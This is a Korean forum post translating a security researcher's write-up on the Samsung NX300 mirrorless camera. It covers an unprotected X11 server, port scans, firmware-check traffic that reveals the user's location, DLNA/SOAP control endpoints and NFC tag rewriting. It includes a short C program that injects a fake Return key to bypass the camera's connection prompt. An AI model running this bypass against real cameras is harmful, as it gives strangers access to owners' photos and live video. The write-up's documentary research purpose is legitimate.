회원정보

레이어닫기

[탐구생활] [번역] 삼성 NX300 '스마트' 카메라 해킹

록키산맥 | 05-19 06:39 | 조회수 : 3,605 | 추천 : 1

꽤 오래전에 이미 제가 옆동에 잠깐 소개한 적이 있었는데, 잠시 짬을 내서 번역을 해보도록 하겠습니다. 

주로 전산쟁이 분들의 먹이감이 될만한 내용이니 참고 바랍니다. 소스는 아래입니다.

op-co.de/blog/posts/hacking...


삼성 NX300 스마트 카메라는 중급 미러리스 카메라로 NFC와 WiFi 연결 기능을 가지고 있다. 그래서 WiFi를 통해, 클라우드 서비스로 사진을 바로 올릴 수 있고, DLNA 를 통해 공유도 가능하며, 스맛폰으로 원격제어도 가능하다. 마지막에 언급했듯이, 이 카메라는  원격 뷰파인더를 제공하고, MobileLink 모드는 암호화하지 않은 엑세스 포인트를 생성하여, 카메라 내의 X 서버 (역주: Unix 기반 OS에서 사용하는 그래픽 운영체제의 기반)와 어떤 데이터로도 제약없는 접근이 가능하다.  (역주: 얼핏 듣기로 이 부분은 펌업으로 수정된 것 같기도 함.)

하드웨어 엔지니어들은 소프트웨어 보안에 젬병이라, 뭘 기대하겠는가? 어쨌든 아래 글을 통해 이게 얼마다 얼척없는 상황인지 보게 될 것이지만, 이는 단순히 문서화 목적임을 밝혀 둔다.

이 게시글은 오로지 NX300으로 네트워크를 통해 연결하는 부분 만을 다룰 것이다. 계속해서, 이 카메라의 "root 쉘을 얻기" 와 "기능 추가하기"등은 다음에 다룰 예정이다. 스맛폰 앱 역시 주의가 필요하며, 당신이 뭔가 알아낸 것이 있다면 이 프로젝트 위키에 올려주기 바란다.

이 게시글에서 발견된 점은 펌웨어 1.31을 기준으로 하였다.

NFC 테그

NFC 연결이란 NXP에 의해 만들어진 NTAG203이다. 이는 NDEF 메세지와 함께 미리 프로그램되어, (디자인 망~) 삼성 스마트 카메라 앱을 구글 플레이에서 다운로드 받아 실행할 수 있도록 되어져 있고, 각각의 개별적인 카메라의 엑세스 포인트 이름을 앱에 제공하도록 되어 있다.

Type: MIME: application/com.samsungimaging.connectionmanager
Payload: AP_SSC_NX300_0-XX:XX:XX

Type: EXTERNAL: urn:nfc:ext:android.com:pkg
Payload: com.samsungimaging.connectionmanager

이 태그는 기록가능하여, 나쁜 의도를 가진 해커라면 NFC가 있는 스맛폰을 살짝 손대는 방식으로, 카메라로 악성 앱을 다운로드 하게 하거나, 불순한 링크를 웹브라우저로 열게 하도록 손쉽게 카메라를 "해킹"할 수 있다.

이렇게 설치되는 태그는 항국적인 재쓰기 금지가 가능하여, 누군가 짓굳은 해커를 안다면, 이 카메라를 진상 뽀x노 싸이트를 열도록 항구적으로 셋팅해 놓을 수도 있다.

 

WiFi 네트워크

NX300은 WiFi 설정을 할 수 있어서, 카메라는 몇몇 공개 서비스 (예를 들어 DLNA 같은)의 일반적인 클라이언트 처럼 작동한다.
공유기 포트 검색이 정확하게 어떻게 이뤄지는지 살펴볼까?

megavolt:~# nmap -sS -O nx300

Starting Nmap 6.25 ( nmap.org ) at 2013-11-21 22:37 CET
Nmap scan report for nx300.local (192.168.0.147)
Host is up (0.0089s latency).
Not shown: 999 closed ports
PORT     STATE SERVICE
6000/tcp open  X11
MAC Address: A0:21:95:**:**:** (Unknown)
No exact OS matches for host (If you know what OS is running on it, see nmap.org/submit/ ).

이 스캔은 "E-Mail" 앱이 실행 되었을 때 수행되는 것이다. "AllShare Play"와 "MobileLink"
모드에서 7676/tcp (역주: TCP 프로토콜 7676 포스 번호가 사용된다는 의미) 이 개방되고, "
Remote Viewfinder"모드에선 추가적으로 7679/tcp 가 개방되어 사용된다.

X Server

잠깐... 뭐시라? X11이 개방 서비스로 작동한다고? 진짜로? 잘못된 접근을 방지하기 위한 TCP를 통한 접근-잠금이 되어
있는지 확인해 보자.

georg@megavolt:~$ DISPLAY=nx300:0 xlsfonts
-misc-fixed-medium-r-semicondensed--0-0-75-75-c-0-iso8859-1
-misc-fixed-medium-r-semicondensed--13-100-100-100-c-60-iso8859-1
-misc-fixed-medium-r-semicondensed--13-120-75-75-c-60-iso8859-1
6x13
cursor
fixed

georg@megavolt:~$ DISPLAY=nx300:0 xrandr
Screen 0: minimum 320 x 200, current 480 x 800, maximum 4480 x 4096
LVDS1 connected 480x800+0+0 (normal left inverted right x axis y axis) 480mm x 800mm
   480x800        60.0*+
HDMI1 disconnected (normal left inverted right x axis y axis)

georg@megavolt:~$ for i in $(xdotool search '.') ; do xdotool getwindowname $i ; done
Defaulting to search window name, class, and classname
Enlightenment Background
acdaemon,key,receiver
Enlightenment Black Zone (0)

Enlightenment Frame
di-camera-app-nx300
Enlightenment Frame
smart-wifi-app-nx300

없다!!! 이는 진짜로 무방비 X server이다!! 그리고, Enlightenment 가 돌아간다!! (역주: Enlightenment는 X 서버위에 돌아가는 윈도우 메니지 먼트 시스템 중의 하나 입니다. 비교적 화려한 테마가 가능하지만 좀 무거운 메니저로 알려져 있음.) 그리고, 우리는 프로그램도 돌려볼 수 있다! 카메라 상에 뭔가를 표시하는 것을 제외하고는 접근이 매우 제한적이다.

X11 Key Binding

xev를 이용해 잠깐 훑어 보니 이 카메라가 X11과 물리적 키보드 연결을 해놓은 다음과 같다.

On/Off

XF86PowerOff (오로지 카메라를 끌 때만)

Scroll Wheel XF86ScrollUp / XF86ScrollDown
Direct Link XF86Mail
Mode Wheel F1 .. F10
Video Rec XF86WebCam
+/- XF86Reload
Menu Menu
Fn XF86HomePage
Keypad KP_Left .. KP_DownKP_Enter
Play XF86Tools
Delete KP_Delete
 

WiFi 클라이언트: 새 펌웨어 업데이트 검사

카메라가 온라인으로 연결되면, 카메라는 새 펌웨어 버젼이 있는지 검사한다.
우선 gld.samsungosp.com 로 연결한다.

요청:

GET / HTTP/1.1
Content-Type: text/xml;charset=utf-8
Accept: application/x-shockwave-flash, application/vnd.ms-excel, */*
Accept-Language: ko
User-Agent: Mozilla/4.0
Host: gld.samsungosp.com

응답:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: text/html
Date: Thu, 28 Nov 2013 16:23:48 GMT
Last-Modified: Mon, 31 Dec 2012 02:23:18 GMT
Server: nginx/0.7.65
Content-Length: 7
Connection: keep-alive

200 OK

이는 진짜로, 특별한 일을 하는 것 같지는 않다. 그러나, 아마도 이게 원격 코드를 수행하기 뒤한 뒷통로일 수도 있을까? 누가 알겠나...

그 후에, http://ipv4.connman.net/online/status.html 를 열어보는데, 서버로 부터 빈 페이지가 돌아온다. 그러나, 되돌아오는 응답의 헤더에  당신이 있는 위치가 되돌아온다. (실제는 IP 주소에 따른 위치)

X-ConnMan-Status: online
X-ConnMan-Client-IP: ###.###.##.###
X-ConnMan-Client-Address: ###.###.##.###
X-ConnMan-Client-Continent: EU
X-ConnMan-Client-Country: DE
X-ConnMan-Client-Region: ##
X-ConnMan-Client-City: ###### (my actual city)
X-ConnMan-Client-Latitude: ##.166698
X-ConnMan-Client-Longitude: ##.666700
X-ConnMan-Client-Timezone: Europe/Berlin

와~~! 걔네들은 당신이 어디있는 줄 안다!! 적어도 이 응답을 통해 어떤 유일한 식별자 같은 것은 전송하지 않는다.

마지막으로, 카메라는 펌웨어 버젼을 물어보고, 변경 사항이 담긴 XML 문서로 인도된다.

현재까지 알려진 버젼은

1.40 XML (ZIP, 241MB)
1.32 XML (ZIP, 241MB)

WiFi Access Point: UPnP/DLNA 

카메라에 실려져 있는 두개의 앱 (MobileLink, Remote Viewfinder)은 AP_SSC_NX300_0-XX:XX:XX (XX:XX:XX 는 MAC 주소의 기기 부분)라는 비암호 엑세스 포인트를 연다. 다행히, 삼성 엔지니어이 똑똑해서 사용자 확인 창을 카메라 인터페이스에 추가하여 잘못된 접근을 막고 있다.

불행히도, 이 확인 윈도는 비암호 X server 상에서 실행되기 때문에, 그냥 KP_Return 신호를 가짜로 넣어주면, 어떤 접속상대라도 연결이 가능하여, SD 카드에 있는 동영상을 스트림 방송하거나, 이미지를 다운로드 받을 수 있다. 

#include <X11/Xlib.h>
#include <X11/Intrinsic.h>
#include <X11/extensions/XTest.h>
#include <unistd.h>
/* Send Fake Key Event */
static void SendKey (Display * disp, KeySym keysym, KeySym modsym){
 KeyCode keycode = 0, modcode = 0;
 keycode = XKeysymToKeycode (disp, keysym);
 if (keycode == 0) return;
 XTestGrabControl (disp, True);
 /* Generate modkey press */
 if (modsym != 0) {
  modcode = XKeysymToKeycode(disp, modsym);
  XTestFakeKeyEvent (disp, modcode, True, 0);
 }
 /* Generate regular key press and release */
 XTestFakeKeyEvent (disp, keycode, True, 0);
 XTestFakeKeyEvent (disp, keycode, False, 0); 

 /* Generate modkey release */
 if (modsym != 0)
  XTestFakeKeyEvent (disp, modcode, False, 0);

 XSync (disp, False);
 XTestGrabControl (disp, False);
}

/* Main Function */
int main (){
 Display *disp = XOpenDisplay (NULL);
 sleep (1);
 /* Send Return */
 SendKey (disp, XK_Return, 0);
}

DLNA 서비스: 리모트 뷰파인더

DLNA 서비스는 일부 카메라 기능을 노출하는데, 이는 안드로이드 앱에 의해 요청되거나 사용된다. 기기의 이름은 [Camera]NX300 이 사용되어, http://nx300:7676/smp_2_ 를 통해 HTML 프로토콜로 접근할 수 있다.

<dlna:X_DLNADOC>DMS-1.50</dlna:X_DLNADOC>
  <deviceType>urn:schemas-upnp-org:device:MediaServer:1</deviceType>
  <friendlyName>[Camera]NX300</friendlyName>
  <manufacturer>Samsung Electronics</manufacturer>
  <manufacturerURL>http://www.samsung.com</manufacturerURL>
  <modelDescription>Samsung Camera DMS</modelDescription>
  <modelName>SP1</modelName>
  <modelNumber>1.0</modelNumber>
  <modelURL>http://www.samsung.com</modelURL>
  <serialNumber>20081113 Folderview</serialNumber>
  <sec:X_ProductCap>smi,getMediaInfo.sec,getCaptionInfo.sec</sec:X_ProductCap>
  <UDN>uuid:XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX</UDN>
  <serviceList>
    <service>
      <serviceType>urn:schemas-upnp-org:service:ContentDirectory:1</serviceType>
      <serviceId>urn:upnp-org:serviceId:ContentDirectory</serviceId>
      <controlURL>/smp_4_</controlURL>
      <eventSubURL>/smp_5_</eventSubURL>
      <SCPDURL>/smp_3_</SCPDURL>
    </service>
    <service>
      <serviceType>urn:schemas-upnp-org:service:ConnectionManager:1</serviceType>
      <serviceId>urn:upnp-org:serviceId:ConnectionManager</serviceId>
      <controlURL>/smp_7_</controlURL>
      <eventSubURL>/smp_8_</eventSubURL>
      <SCPDURL>/smp_6_</SCPDURL>
    </service>
  </serviceList>
  <sec:deviceID>
  </sec:deviceID>
</device>

 

카메라의 세팅((예를 들어 초점과 플레시 같은)을 변경하기 위한 추가적인 SOAP (역주: Service Oriented Application Protocol 의 약자로 서버와 클라이언트의 데이터 교환을 웹기반으로 서비스 단위로 끊어서 전체 시스템을 구축하도록 Software 아키텍쳐) 서비스 (/smp_3_)는  다음과 같다.

기능 전달 내용 결과
GetSystemUpdateID   Id
GetSearchCapabilities   SearchCaps
GetSortCapabilities   SortCaps
Browse ObjectID BrowseFlag Filter
StartingIndex RequestedCount SortCriteria
Result NumberReturned
TotalMatches UpdateID
GetIP   GETIPRESULT
GetInfomation   GETINFORMATIONRESULT StreamUrl
SetResolution RESOLUTION  
ZoomIN   CURRENTZOOM
ZoomOUT   CURRENTZOOM
MULTIAF   AFSTATUS
AF   AFSTATUS
setTouchAFOption TOUCH_AF_OPTION SET_OPTION_RESULT
touchAF AFPOSITION TOUCHAF_RESULT
AFRELEASE   AFRELEASERESULT
ReleaseSelfTimer RELEASETIMER  
Shot   AFSHOTRESULT
ShotWithGPS GPSINFO AFSHOTRESULT
SetLED LEDTIME  
SetFlash FLASHMODE  
SetStreamQuality Quality
 

이미지/동영상 스트리밍을 위한 또다른 서비스 (/smp_4_)도 이용 가능하다.

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:GetInfomationResponse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
    <GETINFORMATIONRESULT>
      <Resolutions>
        <Resolution><Width>5472</Width><Height>3648</Height></Resolution>
        <Resolution><Width>1920</Width><Height>1080</Height></Resolution>
      </Resolutions>
      <Flash>
        <Supports><Support>off</Support><Support>auto</Support></Supports>
        <Defaultflash>auto</Defaultflash>
      </Flash>
      <FlashDisplay>
        <Supports><Support>off</Support><Support>auto</Support></Supports>
        <CurrentFlashDisplay>off</CurrentFlashDisplay>
      </FlashDisplay>
      <ZoomInfo>
        <DefaultZoom>0</DefaultZoom>
        <MaxZoom>1</MaxZoom>
      </ZoomInfo>
      <AVAILSHOTS>289</AVAILSHOTS>
      <ROTATION>1</ROTATION>
      <StreamQuality>
        <Quality><Option>high</Option><Option>low</Option></Quality>
        <Default>high</Default>
      </StreamQuality>
    </GETINFORMATIONRESULT>
    <StreamUrl>
      <QualityHighUrl>http://192.168.102.1:7679/livestream.avi</QualityHighUrl>
      <QualityLowUrl>http://192.168.102.1:7679/qvga_livestream.avi</QualityLowUrl>
    </StreamUrl>
    </u:GetInfomationResponse>
  </s:Body>
</s:Envelope>

모든 명령들이 맞게 진행되면, 라이브 동영상 스트리밍은 http://nx300:7679/livestream.avi 주소를 통해 송출된다. 그러나, 간단하게 동영상 재생을 시도해 봤는데, wget 또는 mplayer로 재생은 불가했다. (역주: 다른 글에 보면 ffmpeg에 포함되어 있는, ffplay로 재생이 가능하다 함)


앞으로 몇차례에 걸쳐 시간이 나게되면, 해당 자료들을 번역하여 올려보겠습니다.

실제 이 프로토콜을 이용하여, NX 바디용 원격 제어 어플을 만든 사람이 있습니다.

www.dpreview.com/forums/pos...

움... 제가 대학생이었다면, 한번 붙들고 늘어져 볼텐데... 현재론 짬이 안나는군요. ㅠ.ㅠ

접기 덧글 17 접기
SNS 로그인

이전글 다음글 목록

맨위로

이전이전1 2 3 4 5 다음 다음